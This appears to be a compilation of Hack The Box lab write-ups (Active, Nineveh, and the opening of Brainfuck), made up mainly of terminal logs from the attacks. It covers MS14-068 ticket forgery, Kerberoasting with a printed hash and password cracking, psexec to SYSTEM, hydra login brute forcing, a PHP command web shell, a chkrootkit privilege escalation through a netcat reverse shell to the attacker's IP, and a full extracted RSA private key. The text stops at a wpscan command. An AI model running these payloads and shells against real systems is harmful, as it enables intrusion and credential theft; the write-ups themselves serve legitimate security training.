root@kali:~/htb/active# smbmap -d active.htb -u svc_tgs -p GPPstillStandingStrong2k18 -H 10.10.10.100
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445 Name: 10.10.10.100 
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ NO ACCESS
NETLOGON READ ONLY
Replication READ ONLY
SYSVOL READ ONLY
Users READ ONLY
root@kali:~/htb/active# smbmap -d active.htb -u svc_tgs -p GPPstillStandingStrong2k18 -H 10.10.10.100 -R Users
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445 Name: 10.10.10.100 
Disk Permissions
---- -----------
Users READ ONLY
.\
dw--w--w-- 0 Sat Jul 21 10:39:20 2018 .
dw--w--w-- 0 Sat Jul 21 10:39:20 2018 ..
dr--r--r-- 0 Mon Jul 16 06:14:21 2018 Administrator
dr--r--r-- 0 Mon Jul 16 17:08:56 2018 All Users
dw--w--w-- 0 Mon Jul 16 17:08:47 2018 Default
dr--r--r-- 0 Mon Jul 16 17:08:56 2018 Default User
-r--r--r-- 174 Mon Jul 16 17:01:17 2018 desktop.ini
dw--w--w-- 0 Mon Jul 16 17:08:47 2018 Public
dr--r--r-- 0 Sat Jul 21 11:16:32 2018 SVC_TGS
.\\Default\
dw--w--w-- 0 Mon Jul 16 17:08:47 2018 .
dw--w--w-- 0 Mon Jul 16 17:08:47 2018 ..
dr--r--r-- 0 Mon Jul 16 17:08:47 2018 AppData
dr--r--r-- 0 Mon Jul 16 17:08:56 2018 Application Data
dr--r--r-- 0 Mon Jul 16 17:08:56 2018 Cookies
dw--w--w-- 0 Mon Jul 16 17:08:47 2018 Desktop
dw--w--w-- 0 Mon Jul 16 17:08:47 2018 Documents
dw--w--w-- 0 Mon Jul 16 17:08:47 2018 Downloads
--snip--
.\\SVC_TGS\Desktop\
dr--r--r-- 0 Sat Jul 21 11:14:42 2018 .
dr--r--r-- 0 Sat Jul 21 11:14:42 2018 ..
-r--r--r-- 34 Sat Jul 21 11:14:42 2018 user.txt


Switch to Windows
c:\users\jacco>runas /netonly /user:active.htb\svc_tgs cmd
 [on that runas prompt -> ]
C:\Windows\system32>dir \\10.10.10.100\Users
Volume in drive \\10.10.10.100\Users has no label.
Volume Serial Number is 2AF3-72E4

Directory of \\10.10.10.100\Users

21/07/2018 15:39 <DIR> .
21/07/2018 15:39 <DIR> ..
16/07/2018 11:14 <DIR> Administrator
14/07/2009 05:57 <DIR> Public
21/07/2018 16:16 <DIR> SVC_TGS
0 File(s) 0 bytes
5 Dir(s) 20.147.937.280 bytes free

C:\Windows\system32>type \\10.10.10.100\Users\SVC_TGS\Desktop\user.txt
86d*****e983
PS C:\Users\jacco> Test-NetConnection -Computername 10.10.10.100 -Port 389

ComputerName : 10.10.10.100
RemoteAddress : 10.10.10.100
RemotePort : 389
InterfaceAlias : Ethernet 2
SourceAddress : 10.10.14.19
TcpTestSucceeded : True
MS14-068
root@kali:~/htb/active# rpcclient -U SVC_TGS active.htb
Enter WORKGROUP\SVC_TGS's password: 
rpcclient $> lookupnames SVC_TGS
SVC_TGS S-1-5-21-405608879-3187717380-1996298813-1103 (User: 1)

root@kali:/opt/windows-kernel-exploits/MS14-068/pykek# python ms14-068.py -u svc_tgs@active.htb -s S-1-5-21-405608879-3187717380-1996298813-1103 -d 10.10.10.100
Password: 
  [+] Building AS-REQ for 10.10.10.100... Done!
  [+] Sending AS-REQ to 10.10.10.100... Done!
  [+] Receiving AS-REP from 10.10.10.100... Done!
  [+] Parsing AS-REP from 10.10.10.100... Done!
  [+] Building TGS-REQ for 10.10.10.100... Done!
  [+] Sending TGS-REQ to 10.10.10.100... Done!
  [+] Receiving TGS-REP from 10.10.10.100... Done!
  [+] Parsing TGS-REP from 10.10.10.100... Done!
  [+] Creating ccache file 'TGT_svc_tgs@active.htb.ccache'... Done!

If all went well, you can now use kerberos to authenticate.

# smbclient -k -W active -U TGT_svc //active.htb/C$
OS=[Windows Server 2008 R2 Standard 7601 Service Pack 1] Server=[Windows Server 2008 R2 Standard 6.1]
smb: \>
Kerberoasting

Kerberos is a protocol for authentication used in Windows Active Directory environments (though it can be used for auth to Linux hosts as well). In 2014, Tim Medin presented an attack on Kerberos he called Kerberoasting. https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf It’s worth reading through the presentation, as Tim uses good graphics to illustrate the process, but I’ll try to give a simple overview.

When you want to authenticate to some service using Kerberos, you contact the DC and tell it to which system service you want to authenticate. It encrypts a response to you with the service user’s password hash. You send that response to the service, which can decrypt it with it’s password, check who you are, and decide it if wants to let you in.

In a Kerberoasting attack, rather than sending the encrypted ticket from the DC to the service, you will use off-line brute force to crack the password associated with the service
Switch to Kali
root@kali:~/htb/active# python GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/svc_tgs
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon 
-------------------- ------------- -------------------------------------------------------- ------------------- -------------------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 15:06:40 2018-07-30 13:17:40

$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$d4e64efb7b7b843205406be1ea8ff311$8a6247145ea4e39fb6c85ab3a24a4c0a386aa824e39d554d6257b4f89d567bc0a01ca9ba5799e2de159fb09db2da1f7ab3df7753c4a05fb2c652ea60087dda97752207a1a7b9442a2f51dfc9483f1511f52f781c8eea77dbe8cc7d53246500cfb1dc499347e333cb32d66b0dba14a4f4f5abef8e07d1e5af65b4af2a95df0ef93a4b174ab5e6fa11096fac4dfb7c5fce97843f2d7878f0f4365cba42c539851ac2630ffebcf76f8d53400edea23244b9afa18c1a951b73e52f424a2cbe99ca46a05fc9642b41617fc4aff0f383c7b2b345c51817ff68da95e49e2ecc29aa2d129e26e9a3fc9d2c3326ffc827a540ae0bc097220b8537da3485922d74d97a0ff467d247f626ad872ed84ffbba8f237d81cffa780b8e0d27d09b7a2ffd0a6fdfa8cd93aee833f9633e3c5421b31639e1a1423c1147d2398c97252bb4e2ab38cdd055a331cf58ff95f8cf29bc6d3193bdec3ca5cfe8d50f90a7e6ac879cdc3c119a3e6babaa29c8656d4a4686edd88c2648dca386df1270053bde9e1ab67b648385b69a8807fd00850849cb1be23f8750104bb0abc2f1afaaeff9de225c8c7ddc771b69a7127dea8406610f53584c7c3d548b4e35c101e000b66cbe74d3a87bb20cc832a8396893a294428d30f749b507f03511628a3872648e2fa795d838dd6c289afcc4b4c5982e9ecefeec1c2c0755c94c6a6becca54fb54420bd50a6e4acafa5d9b8f44b74c1cb6e99399344a558c0acd43efa57b318d3a6a3239234faa780a207e6fc477afbe26fe40c8d400669a96febd77505214d5d74b6e30e13ad2992bb2c707ba1310991809c9cc84816192888b6590faab811a372880791df50669bb8527f8c0f965744ebace544d6d97b9ff0b02aa47070c5a4f8786c7a86e8dd580887bb96febee28c164a72cc4e7c403e591bc4b397aa326190ea6713876102aa3210bf1e447b03daa6dfb655ca1ef2832d11b31cfd80f6f06c9a1365a7bcf353c9f729d384b92c66923a42cd901fc2ac8a3cb65c698587eaf17fb5eabb97e3829a840f0f254ff432bc6d1ad68fc7340a895cf2cf6cb0160f50d6d12e2f001d16943d851880da2344300e09d44d72f2018408b6bbc0bc877f3299a560ba5ea62879c1872954a6e774d82292b1adfcac7d9bc17240fd71d4059bf9cc511ddee381521cb8a1b48b8d7dc21f4b1375c10475f924a3308bd22e35471fa6126342240492dabeccc95bd7f617ae91e8965679cfaef4e042482653a505d2a

Here we see that before requesting the TGS for a particular SPN, Impacket makes an (AS_REQ) Authentication Server Request and that the server responds with the TGT for this SVC_TGS service account. Note that the krbtgt doesn’t use the same encryption that the following TGS.

Then Impacket makes a TGS request that includes TGT information. Finally, the server responds with a TGS and Impacket format it in krb5tgs which is recognized by JTR and HC.

$krb5tgs$<ENCRYPTION_TYPE>$*<USERNAME>$<REALM>$<SPN>*$<FIRST_16_BYTES_TICKET>$<REMAINING_TICKET_BYTES>

Now that we have a TGS, we can retrieve the Service’s password. If you run Kali, you will need to follow these steps for JTR to recognize the format.

root@kali:# git clone https://github.com/magnumripper/JohnTheRipper.git && cd JohnTheRipper/src
root@kali:/opt/JohnTheRipper/src# ./configure 
checking build system type... x86_64-unknown-linux-gnu
checking host system type... x86_64-unknown-linux-gnu
checking whether to compile using MPI... no
checking for gcc... gcc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
--snip--
config.status: linking x86-64.h to arch.h
config.status: executing default commands
configure: creating ./fmt_externs.h
configure: creating ./fmt_registers.h

Configured for building John the Ripper jumbo:

Target CPU ................................. x86_64 SSE4.2, 64-bit LE
AES-NI support ............................. depends on OpenSSL
Target OS .................................. linux-gnu
Cross compiling ............................ no
Legacy arch header ......................... x86-64.h

Optional libraries/features found:
Memory map (share/page large files) ........ yes
Fork support ............................... yes
OpenMP support ............................. yes (not for fast formats)
OpenCL support ............................. yes
Generic crypt(3) format .................... yes
libgmp (PRINCE mode and faster SRP formats)  yes
128-bit integer (faster PRINCE mode) ....... yes
libz (pkzip and some other formats) ........ yes
libbz2 (gpg2john extra decompression logic)  no
libpcap (vncpcap2john and SIPdump) ......... no
librexgen (regex cracking mode) ............ no
OpenMPI support (default disabled) ......... no
ZTEX USB-FPGA module 1.15y support ......... no

Install missing libraries to get any needed features that were omitted.

Configure finished.  Now "make -s clean && make -sj4" to compile.
root@kali:/opt/JohnTheRipper/src# make -s clean && make -sj4
ar: creating aes.a
ar: creating ed25519-donna.a
ar: creating secp256k1.a
scrypt_fmt.c: In function ‘get_binary’:
scrypt_fmt.c:246:2: warning: ‘strncpy’ specified bound 256 equals destination size [-Wstringop-truncation]
  strncpy(out, ciphertext, sizeof(out)); /* NUL padding is required */
  ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
In function ‘pad100’,
    inlined from ‘dynamic_pad100’ at dynamic_compiler.c:607:52:
dynamic_compiler.c:569:34: warning: ‘strncpy’ output may be truncated copying 100 bytes from a string of length 127 [-Wstringop-truncation]
 static char *pad100()          { strncpy(gen_conv, gen_pw, 100); return gen_conv; } /* NUL padding is required */
                                  ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
In function ‘pad20’,
    inlined from ‘dynamic_pad20’ at dynamic_compiler.c:606:52:
--snip--
In file included from /usr/include/CL/cl.h:36,
                 from opencl_common.h:26,
                 from opencl_DES_bs.h:13,
                 from opencl_DES_fmt_plug.c:22:
/usr/include/CL/cl_version.h:34:9: note: #pragma message: cl_version.h: CL_TARGET_OPENCL_VERSION is not defined. Defaulting to 220 (OpenCL 2.2)
 #pragma message("cl_version.h: CL_TARGET_OPENCL_VERSION is not defined. Defaulting to 220 (OpenCL 2.2)")
         ^~~~~~~

Make process completed.
cd ../run ./john --test 
$ ./john /usr/share/wordlists/rockyou.txt tgs.txt # DON'T use --format=krb5tgs

And then, voilà 🙂

root@kali:/opt/JohnTheRipper/run# ./john --wordlist=/usr/share/wordlists/rockyou.txt admin.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:09 11.70% (ETA: 05:32:24) 0g/s 205994p/s 205994c/s 205994C/s dmrdlcrz..dlh622
0g 0:00:00:36 52.01% (ETA: 05:32:17) 0g/s 209321p/s 209321c/s 209321C/s hotheaven1..hotgirl2008
Ticketmaster1968 (?)
1g 0:00:00:49 DONE (2018-12-13 05:31) 0.02014g/s 212277p/s 212277c/s 212277C/s Tiffani1432..Tiago_18
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Or  Decrypt with hashcat
c:\PENTEST\hashcat>hashcat64.exe --force -m 13100 hashes.txt rockyou.txt
hashcat (v5.1.0) starting...
GoforIT
root@kali:~/htb/active# python psexec.py active.htb/Administrator@10.10.10.100 
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

Password:
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file kdkWjbGn.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service ujlu on 10.10.10.100.....
[*] Starting service ujlu.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system
root@kali:~/htb/active# python smbclient.py Administrator:Ticketmaster1968@10.10.10.100
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

Type help for list of commands
# use Users
# cd Administrator
# cd Desktop
# ls
drw-rw-rw- 0 Mon Jul 30 15:50:10 2018 .
drw-rw-rw- 0 Mon Jul 30 15:50:10 2018 ..
-rw-rw-rw- 282 Mon Jul 30 15:50:10 2018 desktop.ini
-rw-rw-rw- 34 Sat Jul 21 17:06:06 2018 root.txt
# get root.txt

root@kali:~/htb/active# python wmiexec.py Administrator:Ticketmaster1968@10.10.10.100
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
active\administrator

Author: Jacco Straathof

HTB – Nineveh

Today we are going to solve another CTF challenge “Nineveh”. Nineveh is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Medium

Task: To find user.txt and root.txt

Let’s start off with our basic nmap command to find out the open ports and running services.

root@kali:~/htb/nineveh# nmap -p 22,80,443 10.10.10.43
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-11 09:25 EST
Nmap scan report for 10.10.10.43
Host is up (0.029s latency).

PORT STATE SERVICE
22/tcp filtered ssh
80/tcp open http
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 17.96 seconds

We see port 80 and port 443 are open,  and 22 is filtered

We don’t exactly have lot coming from these two static pages, so lets throw dirbuster at port 80 first
DirBuster 1.0-RC1 — Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Wed Oct 18 01:44:50 EDT 2017
 — — — — — — — — — — — — — — — — 
http://10.10.10.43:80
 — — — — — — — — — — — — — — — — 
Directories found during testing:
Dirs found with a 200 response:
/
/department/
/department/css/
/department/files/
Dirs found with a 403 response:
/icons/
/icons/small/
/server-status/

 — — — — — — — — — — — — — — — — 
Files found during testing:
Files found with a 200 responce:
/info.php
/department/login.php
/department/index.php
/department/header.php
/department/footer.php
/department/css/index.php
/department/files/index.php
Files found with a 302 responce:
/department/logout.php
/department/manage.php
— — — — — — — — — — — — — — — —

We see the directory /department/, containing a directory itself of /files/. Seems interesting, so lets take a look into this:

Cool, we have a login over web. Trying typical logins, we notice the site warns when we have a bad username. Enter username ‘admin’ and it tells us bad password. Now that we have the username enumerated, lets use hydra and rockyou.txt to brute force login:

root@kali:~/Downloads# hydra 10.10.10.43 -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password!" -V
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-12-11 13:37:01
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.10.10.43:80//department/login.php:username=^USER^&password=^PASS^:Invalid Password!
[ATTEMPT] target 10.10.10.43 - login "admin" - pass "123456" - 1 of 14344399 [child 0] (0/0)
--snip--
[ATTEMPT] target 10.10.10.43 - login "admin" - pass "cobain" - 4625 of 14344399 [child 13] (0/0)
[80][http-post-form] host: 10.10.10.43   login: admin   password: 1q2w3e4r5t
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-12-11 13:41:39


Cool, we have a password  Let’s login :
Notice in the above image, the URL specifies a file to read from. This may come in handy later on, but for now lets just keep it in mind. Since there is not much left to look at, lets run a dirb on port 443:
DirBuster 1.0-RC1 — Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Thu Oct 19 12:26:15 EDT 2017
— — — — — — — — — — — — — — — —
https://10.10.10.43:443
— — — — — — — — — — — — — — — — 
Directories found during testing:
Dirs found with a 200 response:
/
/db/
Dirs found with a 403 response:
/icons/
/icons/small/
— — — — — — — — — — — — — — — — 
Files found during testing:
Files found with a 200 responce:
/db/index.php
— — — — — — — — — — — — — — — —

Navigating to /db/ we get a phpliteadmin login:

Ok, on the topic of hydra, lets fire it up once more and get the login:

root@kali:~/Downloads# hydra 10.10.10.43 -l whatever -P /usr/share/wordlists/rockyou.txt https-post-form "/db/:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password." -V -s 443
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-12-11 13:50:01
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-forms://10.10.10.43:443//db/:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password.
[ATTEMPT] target 10.10.10.43 - login "whatever" - pass "123456" - 1 of 14344399 [child 0] (0/0)
--snip--
[ATTEMPT] target 10.10.10.43 - login "whatever" - pass "tequieromucho" - 1403 of 14344399 [child 8] (0/0)
[443][http-post-form] host: 10.10.10.43   login: whatever   password: password123
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-12-11 13:55:11

Cool, now we have a login for phpliteadmin too! Logging in we see the typical phpMyAdmin page, where we can create new databases and tables. Lets create a new database called ninevehNotes.php, since back over on the port 80 side, it reads ninevehNotes.txt in the notes page. We can create the page, make one table in the database, and give it a simple php reverse shell

<?php echo system($_REQUEST['puck']); ?>

Then i use burp to inject the shell

http://10.10.10.43/department/manage.php?notes=/var/tmp/ninevehNotes.php&puck=ls

Having a netcat listener running on my local host allows me to catch the /bin/bash that I piped to my IP:

Taking a look around, first thing I do is check out the root directory. The first thing noticed is a directory called /report. Inside this directory is a few text files containing the output from a known rootkit checker called chkrootkit. The files are dated by minute, and you can view from which cronjob it is with cronmonit.sh from ippsec

ww-data@nineveh:/tmp$cat cronmonit.sh 
#!/bin/bash

# Loop by line
IFS=$'\n'

old_process=$(ps aux --forest | grep -v "ps aux --forest" | grep -v "sleep 1" | grep -v $0)

while true; do
new_process=$(ps aux --forest | grep -v "ps aux --forest" | grep -v "sleep 1" | grep -v $0)
diff <(echo "$old_process") <(echo "$new_process") | grep [\<\>]
sleep 1
old_process=$new_process
done

ww-data@nineveh:/tmp$ ./cronmonit.sh
./cronmonit.sh


< root 1293 0.9 0.2 8756 2224 ? Ss Dec09 19:11 /usr/sbin/knockd -d -i ens33
> root 1293 0.9 0.2 8756 2224 ? Ss Dec09 19:12 /usr/sbin/knockd -d -i ens33
< root 1092 0.3 0.5 645344 5592 ? Ssl Dec09 8:13 /usr/bin/lxcfs /var/lib/lxcfs/
> root 1092 0.3 0.5 645344 5592 ? Ssl Dec09 8:14 /usr/bin/lxcfs /var/lib/lxcfs/
< root 10650 0.0 0.0 4512 712 ? Ss 07:09 0:00 \_ /bin/sh -c /root/vulnScan.sh
< root 10652 0.0 0.3 12516 3068 ? S 07:09 0:00 \_ /bin/bash /root/vulnScan.sh
< root 10654 0.0 0.2 4796 2160 ? S 07:09 0:00 \_ /bin/sh /usr/bin/chkrootkit
< root 11625 0.0 0.0 4512 704 ? S 07:09 0:00 \_ /bin/sh /tmp/update
< root 11628 0.0 0.0 7452 672 ? S 07:09 0:00 \_ cat /tmp/2
< root 11629 0.0 0.1 4512 1684 ? S 07:09 0:00 \_ /bin/sh -i
< root 11630 0.0 0.1 11308 1740 ? S 07:09 0:00 \_ nc 10.10.14.19 9876

Using searchsploit, we learn chkrootkit is vulnerable to executing a certain file as root when ran:

Cool, next thing we need to do is make a file called /tmp/update which will shot back a reverse shell, which will be run as root. Again dipping into the reverse shell cheat sheet, we can use a bash backdoor:

#!/bin/bash
rm /tmp/2;mkfifo /tmp/2;cat /tmp/2|/bin/sh -i 2>&1|nc 10.10.14.19 9876 >/tmp/2

write this into the update file, throw up another netcat listener on my local machine, and catch the root shell:

root@kali:~/htb/nineveh# nc -lvp 9876
listening on [any] 9876 ...
10.10.10.43: inverse host lookup failed: Unknown host
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.43] 40794
/bin/sh: 0: can't access tty; job control turned off
# ls
root.txt
vulnScan.sh
# whoami
root
# cat root.txt
8a2*****ec3a

alternative route to user.txt

I kept enumerating the system I found /etc/knockd.conf

[openSSH]
 sequence = 571,290,911

I also found https://10.10.10.43/secure_notes/ there was a photo named nineveh.png that had a private key embedded in the metada.

root@kali:~/htb/nineveh# binwalk nineveh.png

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 1497 x 746, 8-bit/color RGB, non-interlaced
84 0x54 Zlib compressed data, best compression
2881744 0x2BF8D0 POSIX tar archive (GNU)

root@kali:~/htb/nineveh# binwalk -Me nineveh.png

Scan Time: 2018-12-11 08:38:32
Target File: /root/htb/nineveh/nineveh.png
MD5 Checksum: 353b8f5a4578e4472c686b6e1f15c808
Signatures: 386

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 1497 x 746, 8-bit/color RGB, non-interlaced
84 0x54 Zlib compressed data, best compression
2881744 0x2BF8D0 POSIX tar archive (GNU)


Scan Time: 2018-12-11 08:38:34
Target File: /root/htb/nineveh/_nineveh.png.extracted/54
MD5 Checksum: d41d8cd98f00b204e9800998ecf8427e
Signatures: 386

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------


Scan Time: 2018-12-11 08:38:34
Target File: /root/htb/nineveh/_nineveh.png.extracted/secret/nineveh.priv
MD5 Checksum: f426d661f94b16292efc810ebb7ea305
Signatures: 386

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PEM RSA private key


Scan Time: 2018-12-11 08:38:34
Target File: /root/htb/nineveh/_nineveh.png.extracted/secret/nineveh.pub
MD5 Checksum: 6b60618d207ad97e76664174e805cfda
Signatures: 386

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 OpenSSH RSA public key

root@kali:~/htb/nineveh/_nineveh.png.extracted/secret# cat nineveh.priv
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAri9EUD7bwqbmEsEpIeTr2KGP/wk8YAR0Z4mmvHNJ3UfsAhpI
H9/Bz1abFbrt16vH6/jd8m0urg/Em7d/FJncpPiIH81JbJ0pyTBvIAGNK7PhaQXU
PdT9y0xEEH0apbJkuknP4FH5Zrq0nhoDTa2WxXDcSS1ndt/M8r+eTHx1bVznlBG5
FQq1/wmB65c8bds5tETlacr/15Ofv1A2j+vIdggxNgm8A34xZiP/WV7+7mhgvcnI
3oqwvxCI+VGhQZhoV9Pdj4+D4l023Ub9KyGm40tinCXePsMdY4KOLTR/z+oj4sQT
X+/1/xcl61LADcYk0Sw42bOb+yBEyc1TTq1NEQIDAQABAoIBAFvDbvvPgbr0bjTn
KiI/FbjUtKWpWfNDpYd+TybsnbdD0qPw8JpKKTJv79fs2KxMRVCdlV/IAVWV3QAk
FYDm5gTLIfuPDOV5jq/9Ii38Y0DozRGlDoFcmi/mB92f6s/sQYCarjcBOKDUL58z
GRZtIwb1RDgRAXbwxGoGZQDqeHqaHciGFOugKQJmupo5hXOkfMg/G+Ic0Ij45uoR
JZecF3lx0kx0Ay85DcBkoYRiyn+nNgr/APJBXe9Ibkq4j0lj29V5dT/HSoF17VWo
9odiTBWwwzPVv0i/JEGc6sXUD0mXevoQIA9SkZ2OJXO8JoaQcRz628dOdukG6Utu
Bato3bkCgYEA5w2Hfp2Ayol24bDejSDj1Rjk6REn5D8TuELQ0cffPujZ4szXW5Kb
ujOUscFgZf2P+70UnaceCCAPNYmsaSVSCM0KCJQt5klY2DLWNUaCU3OEpREIWkyl
1tXMOZ/T5fV8RQAZrj1BMxl+/UiV0IIbgF07sPqSA/uNXwx2cLCkhucCgYEAwP3b
vCMuW7qAc9K1Amz3+6dfa9bngtMjpr+wb+IP5UKMuh1mwcHWKjFIF8zI8CY0Iakx
DdhOa4x+0MQEtKXtgaADuHh+NGCltTLLckfEAMNGQHfBgWgBRS8EjXJ4e55hFV89
P+6+1FXXA1r/Dt/zIYN3Vtgo28mNNyK7rCr/pUcCgYEAgHMDCp7hRLfbQWkksGzC
fGuUhwWkmb1/ZwauNJHbSIwG5ZFfgGcm8ANQ/Ok2gDzQ2PCrD2Iizf2UtvzMvr+i
tYXXuCE4yzenjrnkYEXMmjw0V9f6PskxwRemq7pxAPzSk0GVBUrEfnYEJSc/MmXC
iEBMuPz0RAaK93ZkOg3Zya0CgYBYbPhdP5FiHhX0+7pMHjmRaKLj+lehLbTMFlB1
MxMtbEymigonBPVn56Ssovv+bMK+GZOMUGu+A2WnqeiuDMjB99s8jpjkztOeLmPh
PNilsNNjfnt/G3RZiq1/Uc+6dFrvO/AIdw+goqQduXfcDOiNlnr7o5c0/Shi9tse
i6UOyQKBgCgvck5Z1iLrY1qO5iZ3uVr4pqXHyG8ThrsTffkSVrBKHTmsXgtRhHoc
il6RYzQV/2ULgUBfAwdZDNtGxbu5oIUB938TCaLsHFDK6mSTbvB/DywYYScAWwF7
fw4LVXdQMjNJC3sn3JaqY1zJkE4jXlZeNQvCx4ZadtdJD9iO+EUG
-----END RSA PRIVATE KEY-----


Nmap done: 1 IP address (1 host up) scanned in 17.96 seconds
root@kali:~/htb/nineveh# knock 10.10.10.43 571:tcp 290:tcp 911:tcp
root@kali:~/htb/nineveh# nmap -p 22,80,443 10.10.10.43
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-11 09:28 EST
Nmap scan report for 10.10.10.43
Host is up (0.025s latency).

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https

root@kali:~/htb/nineveh/_nineveh.png.extracted/secret# ssh -i nineveh.priv amrois@10.10.10.43

Author: Jacco Straathof

HTB – Brainfuck

Today we are going to solve another CTF challenge “Brainfuck” which is retired vulnerable lab presented by Hack the Box for making online penetration testing practices according to your experience level. Although in this challenge you can test your expertise by WordPress penetration testing and how much knowledge you have in cryptography by decrypting any encryption that you will get in this lab.

Level: Hard

Task: find user.txt and root.txt file in victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.17 so let’s begin with nmap port enumeration.

root@kali:~/htb/brainfuck# nmap -sC -sV 
# Nmap 7.70 scan initiated Mon Dec 10 03:28:38 2018 as: nmap -sC -sV -oA nmap 10.10.10.17
Nmap scan report for 10.10.10.17
Host is up (0.026s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA)
| 256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA)
|_ 256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) UIDL USER AUTH-RESP-CODE RESP-CODES PIPELINING CAPA TOP
143/tcp open imap Dovecot imapd
|_imap-capabilities: LITERAL+ IMAP4rev1 AUTH=PLAINA0001 have IDLE OK LOGIN-REFERRALS ID post-login ENABLE Pre-login listed capabilities more SASL-IR
443/tcp open ssl/http nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after: 2027-04-11T11:19:29
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_ http/1.1
| tls-nextprotoneg: 
|_ http/1.1
Service Info: Host: brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Dec 10 03:29:42 2018 -- 1 IP address (1 host up) scanned in 63.30 seconds

From given above image, you can observe we found so many ports are open such as 22,25 and so on in victim’s network and moreover I got three domain names as highlighted

Now the next option was to add target IP inside /etc/host file since port 443 was open containing three domain names obtained from scanning result thus I edit sup3rs3cr3t.brainfuck.htb www.brainfuck.htb  brainfuck.htb as host name.

Then I  explored all three domain names one by one in web browser but when I explored https://brainfuck.htb found following webpage page which was indicating that it is a wordpress site and pointing toward SMTP mail Id orestis@brainfuck.htb as highlighted in below image.

Now we decided to use wpscan  on the target URL, that we have entered in the browser. To check if there are any kind of vulnerable themes, plugins, username and etc.

root@kali:~/htb/brainfuck# sudo wpscan --url https://brainfuck.htb --disable-tls-checks
